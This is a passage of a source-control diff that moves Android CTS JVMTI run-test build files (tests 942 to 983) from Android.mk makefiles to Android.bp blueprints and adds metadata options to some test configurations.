+    name: "CtsJvmtiRunTest942DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
deleted file mode 100644
index 5b077b4..0000000
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest942DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.bp b/hostsidetests/jvmti/run-tests/test-944/Android.bp
new file mode 100644
index 0000000..ef75ef1
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest944HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest944DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
deleted file mode 100644
index c60d2e2..0000000
--- a/hostsidetests/jvmti/run-tests/test-944/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index d13dbc9..1949c01 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -24,6 +27,7 @@
         <option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest944DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_944" />
+        <option name="set-option" value="hidden-api-checks:false" />
         <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.bp b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
new file mode 100644
index 0000000..6f9fe08
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest944DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
deleted file mode 100644
index 197b5fe..0000000
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest944DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.bp b/hostsidetests/jvmti/run-tests/test-945/Android.bp
new file mode 100644
index 0000000..e5ae43f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest945HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest945DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
deleted file mode 100644
index 433d9ac..0000000
--- a/hostsidetests/jvmti/run-tests/test-945/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
index dc7254a..a40edaa 100644
--- a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.bp b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
new file mode 100644
index 0000000..614d8a3
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest945DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
deleted file mode 100644
index 5326258..0000000
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest945DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.bp b/hostsidetests/jvmti/run-tests/test-947/Android.bp
new file mode 100644
index 0000000..10b3914
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest947HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest947DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
deleted file mode 100644
index 0201816..0000000
--- a/hostsidetests/jvmti/run-tests/test-947/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
index cd5586e..cbb508f 100644
--- a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.bp b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
new file mode 100644
index 0000000..64e3550
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest947DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
deleted file mode 100644
index 7f807d0..0000000
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest947DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.bp b/hostsidetests/jvmti/run-tests/test-951/Android.bp
new file mode 100644
index 0000000..c903e9b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest951HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest951DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
deleted file mode 100644
index e198f70..0000000
--- a/hostsidetests/jvmti/run-tests/test-951/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
index 844b5a4..0d3aa78 100644
--- a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.bp b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
new file mode 100644
index 0000000..7384400
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest951DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
deleted file mode 100644
index f70496c..0000000
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest951DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.bp b/hostsidetests/jvmti/run-tests/test-982/Android.bp
new file mode 100644
index 0000000..2410aa7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest982HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest982DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
deleted file mode 100644
index e245e1d..0000000
--- a/hostsidetests/jvmti/run-tests/test-982/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
index 102db35..d946a36 100644
--- a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
new file mode 100644
index 0000000..6519a10
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest982DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
deleted file mode 100644
index 3b32dfe..0000000
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest982DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-983/Android.bp b/hostsidetests/jvmti/run-tests/test-983/Android.bp
new file mode 100644
index 0000000..6739b4c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-983/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest983HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest983DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-983/Android.mk b/hostsidetests/jvmti/run-tests/test-983/Android.mk
deleted file mode 100644
index ba6ff0d..0000000
--- a/hostsidetests/jvmti/run-tests/test-983/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest983HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
